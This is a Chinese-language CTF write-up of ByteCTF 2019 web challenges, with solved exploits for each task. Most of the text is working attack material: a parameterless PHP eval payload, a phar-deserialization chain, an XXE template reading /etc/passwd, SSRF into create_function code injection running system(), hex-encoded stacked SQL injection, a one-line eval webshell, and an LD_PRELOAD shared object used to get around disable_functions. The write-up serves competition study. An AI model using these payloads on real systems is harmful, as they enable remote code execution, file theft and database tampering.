ByteCTF 2019 Web WP

  1. 1. Web
    1. 1.1. boring_code
    2. 1.2. EzCMS
    3. 1.3. rss
    4. 1.4. babyblog
    5. 1.5. dot_server_prove
    6. 1.6. iCloudMusic
  2. 2. Conclusion

周末自己打了一会 Byte CTF ,队里其他师傅都没啥时间,自己做题比较慢,就只做了几个题。

Web

boring_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

审计题,由 PHP SSRF Techniques 这篇文章我们可以知道有几种 bypass trick,与题目比较类似的是最后一种 trick ,使用 data 协议绕过进行 xss

1
data://google.com/plain;base64,SSBsb3ZlIFBIUAo=

但是我们这里 data 直接被 ban 掉了,就没办法了…

这里我们队 @rmb122 师傅是直接买了一个域名xxxxbaidu.com这样,然后起个 http 服务就行,然而看了 ROIS 的 wp ,还有一个比较有意思的解法,就是利用百度爬虫。

在百度搜索界面如果爬到的自己网站的话,点击自己的网站,并不是直接访问自己的网站,而是百度有一个重定向的机制,将你的网站转换成了类似如下的形式

1
http://www.baidu.com/link?url=7W9evem35YiIRoQTUDMHxL5ZzKqb8nlwG_me93YTuIZLKV6l0YLOZcxWlVTdNGPQ70SncapWoM5ceZ55fUae6a

最终还是会跳转到你的网站,但是这个要求就是需要让百度的虫子爬到自己的网站,百度爬虫一般是两三天生效,所以如果是早就有自己的站并且被百度爬虫爬了的,或者在百度站长上提交了的都可以采用这种类似的方法进行绕过。

接下来一个正则/[a-z]+\((?R)?\)/,就是一个无参数 RCE 了,意思就是只允许使用类似a(b(c()));这种形式,并且过滤了下划线,很多函数都不能用了。

再接下来一个正则/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i,就是一个简单的关键字过滤了,我们可以使用get_definded_functions来取得所有内置可用函数,再用这个正则过滤,保留最后剩下的函数,用这个函数绕过上面的正则就行了。

根据题目提示,题目的 Web 目录形式大致是

1
2
3
4
5
6
.
├── code
│   └── index.php
└── index.php

1 directory, 2 files

我们运行的源代码是在 code 文件夹下,而 flag 是在与 code 目录平级的 index.php 文件中,意思就是我们需要获得../index.php的源码,我们可以构建一个类似的代码环境方便调试。

所以第一个我们比较容易想到的是用scandir函数拿到当前目录,得到一个数组,使用chdir函数跳到上级目录,再用readfile进行读取。

首先用scandir得到当前目录数组:

1
2
3
4
5
6
7
8
9
php > var_dump(scandir('.'));
array(3) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(8) "test.php"
}

可以看到..是在第二个,也就是数组的 array[1] 位置,于是我们可以使用next函数获得数组第二个字符串。

1
2
3
php > var_dump(next(scandir('.')));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
string(2) ".."

接着用chdir函数跳到上级目录:

1
2
3
php > var_dump(chdir(next(scandir('.'))));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
bool(true)

虽然有一个 PHP Notice ,但是也误伤大雅,这里关键的是chdir返回值是个bool(true),并没有返回上级目录数组什么的,这样我们貌似就不能获取到上级目录下的文件了,也就不能拿到源码了。

我们暂时先抛开这个问题,先假设到了上级目录,那我们是不是也可以像上面的方法一样,用sandir获得数组来进一步读取文件呢?

1
2
3
4
5
6
7
8
9
10
11
php > var_dump(scandir('.'));
array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(4) "code"
[3]=>
string(9) "index.php"
}

这样我们就可以看到我们的目标文件了,因为目录排序的原因, i 在 c 的后面,所以我们肯定可以直接用end函数直接获取这个数组的最后一个拿到index.php字符串,

1
2
3
php > var_dump(end(scandir('.')));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
string(9) "index.php"

接着我们就可以愉快的用readfile来获取 flag 了

1
2
3
4
php > var_dump(readfile(end(scandir('.'))));
PHP Notice: Only variables should be passed by reference in php shell code on line 1
<?php
$flag = "This is index.php! And you get flag!";int(54)

前面后面我们都打通了,现在唯一缺的就是如何把chdir返回的bool(true)变成.以便scandir函数调用的问题了。

经过 @rmb122 师傅的发掘,microtime可以接受一个bool(true)参数,并返回当前 Unix 时间戳和微秒数

1
2
php > var_dump(microtime(true));
float(1568657564.377)

乍一看没什么用,但是我们依然可以配合chr函数来进行 ascii 码转换,当时间到了指定时间,我们就可以拿到.字符了!于是这样一开始如何构造最开始的.这个问题也可以解决了!

于是整个 payload 就是:

1
readfile(end(scandir(chr(microtime(chdir(next(scandir(chr(time())))))))));

这个方法的缺点也比较明显,需要爆破…于是我用 intruder 爆了一下,运气也比较好,5s 就出来了。

EzCMS

这个题不想评价太多…拿我出的 SUCTF upload labs 2 来魔改的题,这里就简要说说点,不再详细赘述了。

这个题也是个上传的环境,但是上传有一个限制以及还有一个可疑的__call魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}

这里可以用 hash 长度拓展来绕过,hashpump 就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}

虽然可以上传任意后缀的文件,但是上传目录下有被控制的.htaccess,导致我们上传的 php 文件不能解析,而且每次登录都会生成这个.htaccess文件,不能被绕过。

1
2
3
4
5
6
7
8
class File{
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}

整个题唯一一个__destruct函数,不用猜就知道是利用这个点

1
2
3
4
5
6
7
8
9
10
11
12
class File{
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
}

这里是一个很明显的 phar 反序列化的点,触发函数是mime_content_type,触发流是php://filter

整个题的意思也比较明显,但是一开始不是很 get 到点,给出的那个__call魔术方法有点莫名其妙,然后一直去日move_uploaded_file方法去了,结果发现这个根本日不动。然后经过马师傅的提醒,get 了一个 ZipArchive::open 函数,然后一切就明白了,随手一搜就是个原题魔改题 Insomni’hack Teaser 2018比赛Write Up:File Vault题目,可以使用 ZipArchive->open 方法达到删除目标文件。

所以整个利用链就比较清晰了, hash 拓展绕过上传限制,上传一个 webshell ,再构造一个 ZipArchive 类的 phar 包上传,用php://filter/resource=phar://触发 phar 反序列化删除自己目录下的.htaccess文件,直接 getflag 。

构造 phar 包的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
class Check{
public $filename;

function __construct($filename)
{
$this->filename = $filename;
}
}

class File{

public $filename;
public $filepath;
public $checker;

}

class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
}

class Profile{

public $username = "/var/www/html/sandbox/9607fe6aa978f6811eb3fe830b544771/.htaccess";
public $password = "9";
public $admin;

}

class A{
public $a = 1;
}

unlink("1.phar");

$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$a = new ZipArchive();
$b = new Profile();
$b->admin = $a;
$o = new File();
$o->checker = $b;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

rss

根据题目名字,因为 rss 本身也是个 XML ,这里的考点之一肯定就是 xxe 了。

于是直接拿一个 rss xxe 模版来改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0"
xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>先知安全技术社区</title>
<link>http://xz.aliyun.com/forum/</link>
<description>先知安全技术社区</description>
<atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
<language>zh-hans</language>
<lastBuildDate>Sun, 08 Sep 2019 10:15:41 +0800</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://xz.aliyun.com/t/6223</link>
<description>CVE-2018-14418 擦出新火花</description>
<pubDate>Sun, 08 Sep 2019 10:15:41 +0800</pubDate>
<guid>http://xz.aliyun.com/t/6223</guid>
</item>
</channel>
</rss>

Url_parse 可以按照上面 boring_code 那题使用,来绕过,在自己的端口起个 http 服务,放上面的 xml 文件就行了,类似http://your_vps:80,baidu.com:80/file

成功读到/etc/passwd,但是读不到/flag,接着用 php 伪协议读题目源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {

require_once './classes/'.$class_name.'.php';

} else if(file_exists('./controllers/'.$class_name.'.php')) {

require_once './controllers/'.$class_name.'.php';

}
}

routes.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

Route::set('index.php',function(){
Index::createView('Index');
});

Route::set('index',function(){
Index::createView('Index');
});

Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});

Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});

controllers/Admin.php

1
2
3
4
5
6
7
8
9
<?php

class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}

controllers/Fetch.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Fetch extends Controller{

public static function handleUrl($url) {
$r = parse_url($url);
$invalidUrl = false;
trueif (preg_match('/aliyun\.com$/', $r['host']) || preg_match('/baidu\.com$/', $r['host']) || preg_match('/qq\.com$/', $r['host'])) {
$rss = Rss::fetch($url);
}else {
$invalidUrl = true;
}
require_once './views/Fetch.php';
}
}

Rss.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class Rss {

public static function curl_request($url, $post = '', $cookie = '', $headers = '', $returnHeader = 0) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
curl_setopt($curl, CURLOPT_REFERER, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
if ($post) {
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
}
if ($cookie) {
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
}
if ($headers) {
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
}
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 5);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
if (curl_errno($curl)) {
return curl_error($curl);
}
curl_close($curl);
list($header, $body) = explode("\r\n\r\n", $data, 2);
$info['header'] = $header;
$info['body'] = $body;
return $info;
}

public static function fetch($url) {
libxml_disable_entity_loader(false);
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
return $rss;
}
}

view/Admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php

if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

我们可以在 view/Admin.php 中看到关键点

1
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

这是个在 FireShell CTF 2019 出过的考点,因为create_function可以进行代码注入,我们可以有以下这种操作

1
id,id);};die(system('ls -la /'));/*

这样就可以进行命令执行了,所以我们只需要在 xxe 中构造一个 ssrf 绕过 127.0.0.1 的判断就行了

1
php://filter/convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http%3A%2F%2F122.112.199.14%2Fexample&order=id%2Cid)%3B%7D%3Bdie(system('ls%20-la%20%2F'))%3B%2F*

/flag_eb8ba2eb07702e69963a7d6ab8669134拿到 flag

babyblog

这个题最后没啥时间做了,比较可惜。赛后复盘了一下,仔细看看也没太大的难度,属于还算比较简单的。

扫描可以拿到 www.zip ,拿到源码,进行审计。

在 replace.php 中有经过$row['isvip'] == 1判断才能使用的功能,在 register.php 中有

1
$sql->query("insert into users (username,password,isvip) values ('$username', '$password',0);");

每次注册isvip被设置为 0 的,所以接下来我们需要找个注入点把我们设置为 vip

关键点就在 edit.php 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
trueforeach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
truetrue$row = $v;
true}
trueif($_SESSION['id'] == $row['userid']){
truetrue$title = addslashes($_POST['title']);
truetrue$content = addslashes($_POST['content']);
truetrue$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
truetrueexit("<script>alert('Edited successfully.');location.href='index.php';</script>");
true}else{
truetrueexit("<script>alert('You do not have permission.');history.go(-1);</script>");
true}
}

其中

1
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");

$row['title']是上面 sql 语句取出来的结果,而title在 writing.php 插入的时候,虽然做了防注入,使用addslashes转义了title的内容

1
2
3
4
5
6
if(isset($_POST['title']) && isset($_POST['content'])){
true$title = addslashes($_POST['title']);
true$content = addslashes($_POST['content']);
true$sql->query("insert into article (userid,title,content) values (" . $_SESSION['id'] . ", '$title','$content');");
trueexit("<script>alert('Posted successfully.');location.href='index.php';</script>");
}

但是在上面未经任何处理又直接取出来会导致二次注入,例如第一次插入'1,经过addlashes转义,sql 语句变成

1
insert into article (userid,title,content) values ("1", '\'1','1');"

但是插入数据库的内容是'1,取出来的时候也是'1,这就导致了注入。

所以我们可以利用这个点进行注入,update 我们的 isvip 字段就行

1
';update users set isvip=1 where username='zedd';

接下来就是那个奇葩正则了:

1
2
3
4
$filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
if(preg_match('/' . $filter . '/is', $value)){
exit("<script>alert('Failure!Do not use sensitive words.');location.href='index.php';</script>");
}

看起来虽然过滤了很多,但是我们依然可以使用堆叠注入来绕过:

1
set @t=0x73656c65637420312c323b;prepare x from @t;execute x;

所以我们把上面的 sql 语句换成16进制,就行了

1
';set @t=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d277a656464273b;prepare x from @t;execute x;

成为 vip 之后看到 replace.php 当中的内容:

1
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

比较明显的一个利用 php 正则/e执行命令的写法,可以使用%00截断最后的一个斜杠,在$_POST['find']中使用/e修饰符

1
find=/e%00&replace=phpinfo();&regex=1&id=2

POST 之后拿到 phpinfo 信息,Web 根目录 /var/www/html, disable_functions :

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,ini_set,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail

还有putenv,考烂了的 LD_PRELOAD 绕过,直接写个 webshell :

1
find=/e%00&replace=file_put_contents('/var/www/html/webshell.php','<?php eval($_POST[a]);');&regex=1&id=2

发现还有 basedir 的限制,可以用以下列目录

1
2
3
4
5
6
if ($dh = opendir("glob:///*")) {
truewhile (($file = readdir($dh)) !== false) {
truetrueecho "$file\n";
true}
trueclosedir($dh);
}

在根目录有/readflag,直接写一个 so 文件就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define  _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>

void pwn(void) {
truesystem("/readflag > /var/www/html/res 2>&1");
}

void getpid(){
unsetenv("LD_PRELOAD");
pwn();
}

在当前 web 目录拿到 flag。//因为是复现环境就无所谓了。

dot_server_prove

这个题比赛的时候没怎么看,看了 bytesCTF dot_server_prove WriteUP,简单总结一下涉及的知识点:

  • 逆向 bin 文件查看逻辑,根据 host 来访问不同的站点,就像 apache 的 virtualhost 一样,读取 log 来保存你的 ua
  • 在 ua 处进行 xss ,读取页面有 ssrf
  • ssrf 打 dict://172.18.0.3:6379/info 得到 redis 版本号 4.x
  • 通过 gopher 利用主从复制的进行 RCE

iCloudMusic

打算与 SUCTF 的 iCloudMusic 放一起写吧

Conclusion

题目都不算特别难,除了马师傅的 iCloudMusic 跟 dot_server_prove ,两个不是很摸得着头脑的题, Web1/2/3 都有点魔改凑题的嫌疑,这几题并没有特别亮眼的知识点,都属于考过的,后面两题还是比较有意思的,dot_server_prove 可能不是很 get 到点,毕竟也属于一个比较新颖的题目了,以及马师傅的 iCloudMusic ,毕竟也是专门研究了一个多月的 electron orz…还是有一点收获的,希望线下赛不会被打爆 orz…

版权声明:除文章开头有特殊声明的情况外,所有文章在取得作者允许授权转载的情况下,均可在遵从 CC BY 4.0 协议的情况下转载。

Windows Defender 侧信道攻击 SUCTF 2019 出题笔记 & phar 反序列化的一些拓展

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×